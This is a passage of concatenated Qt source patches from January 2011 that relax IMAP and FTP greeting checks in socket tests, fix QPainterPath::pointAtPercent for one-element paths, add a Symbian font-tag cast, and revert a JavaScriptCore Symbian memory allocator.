    --- a/tests/auto/qsslsocket/tst_qsslsocket.cpp
    +++ b/tests/auto/qsslsocket/tst_qsslsocket.cpp
    @@ -502,8 +502,9 @@ void tst_QSslSocket::simpleConnectWithIgnore()
         if (!socket.canReadLine())
             enterLoop(10);
     
    -    QCOMPARE(socket.readAll(), QtNetworkSettings::expectedReplySSL());
    +    QByteArray data = socket.readAll();
         socket.disconnectFromHost();
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAPSSL(data), data.constData());
     }
     
     void tst_QSslSocket::sslErrors_data()
    diff --git a/tests/auto/qtcpsocket/tst_qtcpsocket.cpp b/tests/auto/qtcpsocket/tst_qtcpsocket.cpp
    index 2dbe5b7..86069cd 100644
    --- a/tests/auto/qtcpsocket/tst_qtcpsocket.cpp
    +++ b/tests/auto/qtcpsocket/tst_qtcpsocket.cpp
    @@ -95,6 +95,7 @@
     #include "private/qhostinfo_p.h"
     
     #include "../network-settings.h"
    +#include "../../shared/util.h"
     
     Q_DECLARE_METATYPE(QAbstractSocket::SocketError)
     Q_DECLARE_METATYPE(QAbstractSocket::SocketState)
    @@ -222,6 +223,8 @@ protected slots:
         void proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *auth);
     
     private:
    +    QByteArray expectedReplyIMAP();
    +    void fetchExpectedReplyIMAP();
         QTcpSocket *newSocket() const;
         QTcpSocket *nonBlockingIMAP_socket;
         QStringList nonBlockingIMAP_data;
    @@ -233,6 +236,8 @@ private:
         bool readingBody;
         QTime timer;
     
    +    QByteArray expectedReplyIMAP_cached;
    +
         mutable int proxyAuthCalled;
     
         bool gotClosedSignal;
    @@ -658,8 +663,6 @@ void tst_QTcpSocket::nonBlockingIMAP()
     
         // Read greeting
         QVERIFY(!nonBlockingIMAP_data.isEmpty());
    -//    QCOMPARE(nonBlockingIMAP_data.at(0).toLatin1().constData(),
    -//            "* OK fluke Cyrus IMAP4 v2.2.12 server ready\r\n");
         QCOMPARE(nonBlockingIMAP_data.at(0).left(4).toLatin1().constData(), "* OK");
         nonBlockingIMAP_data.clear();
     
    @@ -787,6 +790,36 @@ void tst_QTcpSocket::delayedClose()
         delete socket;
     }
     
    +
    +//----------------------------------------------------------------------------------
    +
    +QByteArray tst_QTcpSocket::expectedReplyIMAP()
    +{
    +    if (expectedReplyIMAP_cached.isEmpty()) {
    +        fetchExpectedReplyIMAP();
    +    }
    +
    +    return expectedReplyIMAP_cached;
    +}
    +
    +// Figure out how the current IMAP server responds
    +void tst_QTcpSocket::fetchExpectedReplyIMAP()
    +{
    +    QTcpSocket *socket = newSocket();
    +    socket->connectToHost(QtNetworkSettings::serverName(), 143);
    +    QVERIFY2(socket->waitForConnected(10000), qPrintable(socket->errorString()));
    +    QVERIFY2(socket->state() == QTcpSocket::ConnectedState, qPrintable(socket->errorString()));
    +
    +    QTRY_VERIFY(socket->canReadLine());
    +
    +    QByteArray greeting = socket->readLine();
    +    delete socket;
    +
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(greeting), greeting.constData());
    +
    +    expectedReplyIMAP_cached = greeting;
    +}
    +
     //----------------------------------------------------------------------------------
     
     void tst_QTcpSocket::partialRead()
    @@ -797,8 +830,8 @@ void tst_QTcpSocket::partialRead()
         QVERIFY(socket->state() == QTcpSocket::ConnectedState);
         char buf[512];
     
    -//    QByteArray greeting = "* OK fluke Cyrus IMAP4 v2.2.12 server ready";
    -    QByteArray greeting = "* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE";
    +    QByteArray greeting = expectedReplyIMAP();
    +    QVERIFY(!greeting.isEmpty());
     
         for (int i = 0; i < 10; i += 2) {
             while (socket->bytesAvailable() < 2)
    @@ -821,8 +854,8 @@ void tst_QTcpSocket::unget()
         QVERIFY(socket->state() == QTcpSocket::ConnectedState);
         char buf[512];
     
    -//    QByteArray greeting = "* OK fluke Cyrus IMAP4 v2.2.12 server ready";
    -    QByteArray greeting = "* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE";
    +    QByteArray greeting = expectedReplyIMAP();
    +    QVERIFY(!greeting.isEmpty());
     
         for (int i = 0; i < 10; i += 2) {
             while (socket->bytesAvailable() < 2)
    @@ -1244,13 +1277,17 @@ void tst_QTcpSocket::readLine()
             QVERIFY(socket->waitForReadyRead(10000));
     
         char buffer[1024];
    -    int expectedReplySize = QtNetworkSettings::expectedReplyIMAP().size();
    -    Q_ASSERT(expectedReplySize >= 3);
    -    QCOMPARE(socket->readLine(buffer, sizeof(buffer)), qint64(expectedReplySize));
     
    -    QCOMPARE((int) buffer[expectedReplySize-2], (int) '\r');
    -    QCOMPARE((int) buffer[expectedReplySize-1], (int) '\n');
    -    QCOMPARE((int) buffer[expectedReplySize], (int) '\0');
    +    qint64 linelen = socket->readLine(buffer, sizeof(buffer));
    +    QVERIFY(linelen >= 3);
    +    QVERIFY(linelen < 1024);
    +
    +    QByteArray reply = QByteArray::fromRawData(buffer, linelen);
    +    QCOMPARE((int) buffer[linelen-2], (int) '\r');
    +    QCOMPARE((int) buffer[linelen-1], (int) '\n');
    +    QCOMPARE((int) buffer[linelen],   (int) '\0');
    +
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(reply), reply.constData());
     
         QCOMPARE(socket->write("1 NOOP\r\n"), qint64(8));
     
    @@ -1282,13 +1319,11 @@ void tst_QTcpSocket::readLine()
     void tst_QTcpSocket::readLineString()
     {
         QTcpSocket *socket = newSocket();
    -//    QByteArray expected("* OK fluke Cyrus IMAP4 v2.2.12 server ready\r\n");
    -    QByteArray expected("* OK [CAPABILITY IMAP4 IMAP4rev1 LITERAL+ ID STARTTLS LOGINDISABLED] qt-test-server.qt-test-net Cyrus IMAP4 v2.3.11-Mandriva-RPM-2.3.11-6mdv2008.1 server ready\r\n");
         socket->connectToHost(QtNetworkSettings::serverName(), 143);
         QVERIFY(socket->waitForReadyRead(10000));
     
         QByteArray arr = socket->readLine();
    -    QCOMPARE(arr, QtNetworkSettings::expectedReplyIMAP());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(arr), arr.constData());
     
         delete socket;
     }
    @@ -1456,8 +1491,11 @@ void tst_QTcpSocket::atEnd()
         QVERIFY(!stream.atEnd());
         QString greeting = stream.readLine();
         QVERIFY(stream.atEnd());
    -//    QCOMPARE(greeting, QString("220 (vsFTPd 2.0.4)"));
    -    QCOMPARE(greeting, QString("220 (vsFTPd 2.0.5)"));
    +
    +    // Test server must use some vsFTPd 2.x.x version
    +    QVERIFY2(greeting.length() == sizeof("220 (vsFTPd 2.x.x)")-1, qPrintable(greeting));
    +    QVERIFY2(greeting.startsWith("220 (vsFTPd 2."), qPrintable(greeting));
    +    QVERIFY2(greeting.endsWith(")"), qPrintable(greeting));
     
         delete socket;
     }
    @@ -1522,7 +1560,8 @@ void tst_QTcpSocket::socketInAThread()
             TestThread thread;
             thread.start();
             QVERIFY(thread.wait(15000));
    -        QCOMPARE(thread.data(), QtNetworkSettings::expectedReplyFtp());
    +        QByteArray data = thread.data();
    +        QVERIFY2(QtNetworkSettings::compareReplyFtp(data), data.constData());
         }
     }
     
    @@ -1542,9 +1581,13 @@ void tst_QTcpSocket::socketsInThreads()
             QVERIFY(thread3.wait(15000));
             QVERIFY(thread1.wait(15000));
     
    -        QCOMPARE(thread1.data(),QtNetworkSettings::expectedReplyFtp());
    -        QCOMPARE(thread2.data(),QtNetworkSettings::expectedReplyFtp());
    -        QCOMPARE(thread3.data(),QtNetworkSettings::expectedReplyFtp());
    +        QByteArray data1 = thread1.data();
    +        QByteArray data2 = thread2.data();
    +        QByteArray data3 = thread3.data();
    +
    +        QVERIFY2(QtNetworkSettings::compareReplyFtp(data1), data1.constData());
    +        QVERIFY2(QtNetworkSettings::compareReplyFtp(data2), data2.constData());
    +        QVERIFY2(QtNetworkSettings::compareReplyFtp(data3), data3.constData());
         }
     }
     
    @@ -1846,7 +1889,7 @@ void tst_QTcpSocket::readyReadSignalsAfterWaitForReadyRead()
         QCOMPARE(readyReadSpy.count(), 1);
     
         QString s = socket->readLine();
    -    QCOMPARE(s.toLatin1().constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(s.toLatin1()), s.toLatin1().constData());
         QCOMPARE(socket->bytesAvailable(), qint64(0));
     
         QCoreApplication::instance()->processEvents();
    -- 
    cgit v0.12
    
    
    From 7fd7454805ea091688339111e544cb70f7a24739 Mon Sep 17 00:00:00 2001
    From: =?UTF-8?q?Samuel=20R=C3=B8dal?= 
    Date: Tue, 25 Jan 2011 11:02:16 +0100
    Subject: Fixed QPainterPath::pointAtPercent(t) for one-element paths.
    
    Return the MoveTo element instead of QPointF(0, 0).
    
    Task-number: QTBUG-16788
    Reviewed-by: Eskil Abrahamsen Blomfeldt
    ---
     src/gui/painting/qpainterpath.cpp            | 5 ++++-
     tests/auto/qpainterpath/tst_qpainterpath.cpp | 5 +++++
     2 files changed, 9 insertions(+), 1 deletion(-)
    
    diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp
    index 7d6ea12..1b69234 100644
    --- a/src/gui/painting/qpainterpath.cpp
    +++ b/src/gui/painting/qpainterpath.cpp
    @@ -2894,9 +2894,12 @@ QPointF QPainterPath::pointAtPercent(qreal t) const
             return QPointF();
         }
     
    -    if (isEmpty())
    +    if (!d_ptr || d_ptr->elements.size() == 0)
             return QPointF();
     
    +    if (d_ptr->elements.size() == 1)
    +        return d_ptr->elements.at(0);
    +
         qreal totalLength = length();
         qreal curLen = 0;
         qreal bezierLen = 0;
    diff --git a/tests/auto/qpainterpath/tst_qpainterpath.cpp b/tests/auto/qpainterpath/tst_qpainterpath.cpp
    index 19b3156..ad5a968 100644
    --- a/tests/auto/qpainterpath/tst_qpainterpath.cpp
    +++ b/tests/auto/qpainterpath/tst_qpainterpath.cpp
    @@ -1041,6 +1041,11 @@ void tst_QPainterPath::pointAtPercent_data()
         QRectF rect(241, 273, 185, 228);
         path.addEllipse(rect);
         QTest::newRow("Case 17") << path << qreal(1.0) << QPointF(rect.right(), qreal(0.5) * (rect.top() + rect.bottom()));
    +
    +    path = QPainterPath();
    +    path.moveTo(100, 100);
    +    QTest::newRow("Case 18") << path << qreal(0.0) << QPointF(100, 100);
    +    QTest::newRow("Case 19") << path << qreal(1.0) << QPointF(100, 100);
     }
     
     void tst_QPainterPath::pointAtPercent()
    -- 
    cgit v0.12
    
    
    From cb38007cd3b253fb2e3a8587ae9e64080e707a31 Mon Sep 17 00:00:00 2001
    From: Eckhart Koppen 
    Date: Tue, 25 Jan 2011 15:11:33 +0200
    Subject: Temporary fix for ambiguous cast from four letter char constant
    
    ---
     src/gui/text/qfontdatabase_s60.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
    index ad67189..97426a8 100644
    --- a/src/gui/text/qfontdatabase_s60.cpp
    +++ b/src/gui/text/qfontdatabase_s60.cpp
    @@ -721,7 +721,7 @@ static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
             memoryRanges.append(Range(offset, lengthAligned));
     
             quint32 checkSum = qFromBigEndian(tableRecord->checkSum);
    -        if (tableRecord->tag == qToBigEndian('head')) {
    +        if (tableRecord->tag == qToBigEndian(static_cast('head'))) {
                 if (length < ttfCheckSumAdjustmentOffset + sizeof(quint32))
                     return false; // Invalid 'head' table
                 const quint32 *checkSumAdjustmentTag =
    @@ -735,7 +735,7 @@ static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
     
             bool updateTableChecksum = false;
             QByteArray table;
    -        if (tableRecord->tag == qToBigEndian('name')) {
    +        if (tableRecord->tag == qToBigEndian(static_cast('name'))) {
                 table = QByteArray(ttf.constData() + offset, length);
                 if (!ttfMarkNameTable(table, marker))
                     return false; // Name table was not markable.
    -- 
    cgit v0.12
    
    
    From f0667b4b439f87f8bd613add148e94d520e77be1 Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Tue, 25 Jan 2011 16:50:22 +0100
    Subject: Revert "QtScript/JSC on Symbian: Enhanced memory allocator for
     Collector heap"
    
    This reverts commit 7db489a0de073a2a56fe32d16f1cbe1bebdfd06d.
    
    The change to CollectorHeapIterator.h is not Symbian-specific and
    it introduced test failures on all platforms
    (tst_QScriptEngineAgent::positionChange_3()).
    ---
     .../javascriptcore/JavaScriptCore/ChangeLog        |  28 -----
     .../JavaScriptCore/JavaScriptCore.pri              |   3 -
     .../JavaScriptCore/runtime/Collector.cpp           |  46 +++++--
     .../JavaScriptCore/runtime/Collector.h             |   9 --
     .../JavaScriptCore/runtime/CollectorHeapIterator.h |  10 +-
     .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 ---------------------
     .../wtf/symbian/BlockAllocatorSymbian.h            | 120 -------------------
     src/3rdparty/javascriptcore/VERSION                |   4 +-
     src/script/script.pro                              |   1 +
     9 files changed, 44 insertions(+), 309 deletions(-)
     delete mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
     delete mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    index c2b1155..fd6c3f7 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    @@ -232,34 +232,6 @@
             without using doubles, but the code would be much more complicated, and there is no important
             reason to stick to integers here.
     
    -2010-03-22  Siddharth Mathur  
    -
    -        Reviewed by Laszlo Gombos.
    -
    -        [Symbian] More efficient aligned memory allocation for JSC Collector
    -        https://bugs.webkit.org/show_bug.cgi?id=34350
    -
    -        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
    -
    -        * runtime/Collector.cpp: Reduced port-specific code and added private data member
    -        (JSC::Heap::Heap):
    -        (JSC::Heap::~Heap):
    -        (JSC::Heap::destroy):
    -        (JSC::Heap::allocateBlock):
    -        (JSC::Heap::freeBlockPtr):
    -
    -        * runtime/Collector.h: Added private data member
    -
    -        * wtf/symbian: Added.
    -        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
    -        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
    -        aligned blocks more efficiently as required by Collector
    -        (WTF::AlignedBlockAllocator::alloc):
    -        (WTF::AlignedBlockAllocator::free):
    -        (WTF::AlignedBlockAllocator::destroy):
    -        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
    -        * wtf/symbian/BlockAllocatorSymbian.h: Added.
    -
     2010-03-22  Geoffrey Garen  
     
             Reviewed by Sam Weinig.
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    index b061321..d75bd31 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    @@ -16,7 +16,6 @@ CONFIG(debug, debug|release) {
     symbian: {
         # Need to guarantee this comes before system includes of /epoc32/include
         MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
    -    LIBS += -lhal
     }
     
     INCLUDEPATH = \
    @@ -34,7 +33,6 @@ INCLUDEPATH = \
         $$PWD/runtime \
         $$PWD/wrec \
         $$PWD/wtf \
    -    $$PWD/wtf/symbian \
         $$PWD/wtf/unicode \
         $$PWD/yarr \
         $$PWD/API \
    @@ -213,7 +211,6 @@ SOURCES += \
         wtf/qt/ThreadingQt.cpp \
         wtf/RandomNumber.cpp \
         wtf/RefCountedLeakCounter.cpp \
    -    wtf/symbian/BlockAllocatorSymbian.cpp \
         wtf/symbian/RegisterFileAllocatorSymbian.cpp \
         wtf/ThreadingNone.cpp \
         wtf/Threading.cpp \
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    index 42e2a35..24873c8 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    @@ -53,6 +53,11 @@
     #include 
     #include 
     
    +#elif OS(SYMBIAN)
    +#include 
    +#include 
    +#include 
    +
     #elif OS(WINDOWS)
     
     #include 
    @@ -104,6 +109,11 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
     // a PIC branch in Mach-O binaries, see .
     #define MIN_ARRAY_SIZE (static_cast(14))
     
    +#if OS(SYMBIAN)
    +const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
    +static RHeap* userChunk = 0;
    +#endif
    +
     #if ENABLE(JSC_MULTIPLE_THREADS)
     
     #if OS(DARWIN)
    @@ -136,11 +146,29 @@ Heap::Heap(JSGlobalData* globalData)
         , m_currentThreadRegistrar(0)
     #endif
         , m_globalData(globalData)
    -#if OS(SYMBIAN)
    -    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
    -#endif
     {
         ASSERT(globalData);
    +    
    +#if OS(SYMBIAN)
    +    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
    +    // Using fastMalloc() does not properly align blocks on 64k boundaries
    +    // and previous implementation was flawed/incomplete.
    +    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
    +    // of alignment value for (symbian) cells within that heap.
    +    //
    +    // Clarification and mapping of terminology:
    +    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
    +    // which can dynamically grow up to 8 MB,
    +    // that holds all CollectorBlocks of this session (static).
    +    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
    +    // JSCell objects are maintained as usual within CollectorBlocks.
    +    if (!userChunk) {
    +        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
    +        if (!userChunk)
    +            CRASH();
    +    }
    +#endif // OS(SYMBIAN)
    +    
         memset(&m_heap, 0, sizeof(CollectorHeap));
         allocateBlock();
     }
    @@ -183,9 +211,7 @@ void Heap::destroy()
             t = next;
         }
     #endif
    -#if OS(SYMBIAN)
    -    m_blockallocator.destroy();
    -#endif
    +
         m_globalData = 0;
     }
     
    @@ -195,9 +221,11 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
         vm_address_t address = 0;
         vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
     #elif OS(SYMBIAN)
    -    void* address = m_blockallocator.alloc();  
    -    if (!address)
    +    // Allocate a 64 kb aligned CollectorBlock
    +    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
    +    if (!mask)
             CRASH();
    +    uintptr_t address = reinterpret_cast(mask);
     #elif OS(WINCE)
         void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     #elif OS(WINDOWS)
    @@ -288,7 +316,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
     #if OS(DARWIN)    
         vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
     #elif OS(SYMBIAN)
    -    m_blockallocator.free(reinterpret_cast(block));
    +    userChunk->Free(reinterpret_cast(block));
     #elif OS(WINCE)
         VirtualFree(block, 0, MEM_RELEASE);
     #elif OS(WINDOWS)
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    index d3616dc..7f7a679 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    @@ -35,10 +35,6 @@
     #include 
     #endif
     
    -#if OS(SYMBIAN)
    -#include 
    -#endif
    -
     #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
     
     namespace JSC {
    @@ -171,11 +167,6 @@ namespace JSC {
             pthread_key_t m_currentThreadRegistrar;
     #endif
     
    -#if OS(SYMBIAN)
    -        // Allocates collector blocks with correct alignment
    -        WTF::AlignedBlockAllocator m_blockallocator; 
    -#endif
    -        
             JSGlobalData* m_globalData;
         };
     
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    index e4f2f91..4a38df9 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
    @@ -97,14 +97,12 @@ namespace JSC {
     
         inline LiveObjectIterator& LiveObjectIterator::operator++()
         {
    -        if (m_block < m_heap.nextBlock || m_cell < m_heap.nextCell) {
    -            advance(HeapConstants::cellsPerBlock);
    +        advance(HeapConstants::cellsPerBlock - 1);
    +        if (m_block < m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell < m_heap.nextCell))
                 return *this;
    -        }
     
    -        do {
    -            advance(HeapConstants::cellsPerBlock);
    -        } while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell));
    +        while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell))
    +            advance(HeapConstants::cellsPerBlock - 1);
             return *this;
         }
     
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    deleted file mode 100644
    index 6a28e9e..0000000
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    +++ /dev/null
    @@ -1,132 +0,0 @@
    -/*
    - * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    - *
    - * Redistribution and use in source and binary forms, with or without
    - * modification, are permitted provided that the following conditions
    - * are met:
    - *
    - * 1.  Redistributions of source code must retain the above copyright
    - *     notice, this list of conditions and the following disclaimer. 
    - * 2.  Redistributions in binary form must reproduce the above copyright
    - *     notice, this list of conditions and the following disclaimer in the
    - *     documentation and/or other materials provided with the distribution. 
    - * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    - *     its contributors may be used to endorse or promote products derived
    - *     from this software without specific prior written permission. 
    - *
    - * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    - * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    - * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    - * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    - * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    - * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    - * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    - */
    -
    -#include "config.h"
    -
    -#if OS(SYMBIAN)
    -
    -#include "BlockAllocatorSymbian.h"
    -
    -
    -namespace WTF {
    -
    -/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
    - * Primarly designed for JSC Collector's needs. 
    - * Not thread-safe.    
    - */
    -AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
    -    : m_reservation(reservationSize), 
    -      m_blockSize(blockSize)
    -{
    -
    -     // Get system's page size value.
    -     SYMBIAN_PAGESIZE(m_pageSize); 
    -     
    -     // We only accept multiples of system page size for both initial reservation and the alignment/block size
    -     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
    -     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
    -     
    -     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
    -     m_map.numBits = m_reservation / m_blockSize;   
    -     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
    -     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
    -   
    -     m_map.bits = new TUint32[numWords];
    -     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
    -     m_map.clearAll();
    -     
    -     // Open a Symbian RChunk, and reserve requested virtual address range   
    -     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
    -     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
    -     if (ret != KErrNone) 
    -         User::Panic(_L("AlignedBlockAllocator3"), ret);
    -       
    -     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
    -     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
    -
    -}
    -
    -void* AlignedBlockAllocator::alloc()
    -{
    -
    -    TInt  freeRam = 0; 
    -    void* address = 0;
    -    
    -    // Look up first free slot in bit map
    -    const TInt freeIdx = m_map.findFree();
    -        
    -    // Pseudo OOM: We ate up the address space we reserved..
    -    // ..even though the device may have free RAM left
    -    if (freeIdx < 0)
    -        return 0;
    -        
    -    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
    -    if (ret != KErrNone)  
    -        return 0; // True OOM: Device didn't have physical RAM to spare
    -        
    -    // Updated bit to mark region as in use. 
    -    m_map.set(freeIdx); 
    -    
    -    // Calculate address of committed region (block)
    -    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
    -    
    -    return address;
    -}
    -
    -void AlignedBlockAllocator::free(void* block)
    -{
    -    // Calculate index of block to be freed
    -    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
    -    
    -    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
    -    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
    -    
    -    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
    -    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
    -            
    -    // mark this available again
    -    m_map.clear(idx); 
    -}
    -
    -void AlignedBlockAllocator::destroy() 
    -{
    -    // release everything!
    -    m_chunk.Decommit(0, m_chunk.MaxSize());
    -    m_map.clearAll();
    -}
    -
    -AlignedBlockAllocator::~AlignedBlockAllocator()
    -{
    -    destroy();
    -    m_chunk.Close();
    -    delete [] m_map.bits;
    -}
    -
    -} // end of namespace
    -
    -#endif // SYMBIAN
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    deleted file mode 100644
    index 21422f6..0000000
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    +++ /dev/null
    @@ -1,120 +0,0 @@
    -/*
    - * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    - *
    - * Redistribution and use in source and binary forms, with or without
    - * modification, are permitted provided that the following conditions
    - * are met:
    - *
    - * 1.  Redistributions of source code must retain the above copyright
    - *     notice, this list of conditions and the following disclaimer. 
    - * 2.  Redistributions in binary form must reproduce the above copyright
    - *     notice, this list of conditions and the following disclaimer in the
    - *     documentation and/or other materials provided with the distribution. 
    - * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    - *     its contributors may be used to endorse or promote products derived
    - *     from this software without specific prior written permission. 
    - *
    - * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    - * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    - * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    - * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    - * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    - * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    - * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    - * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
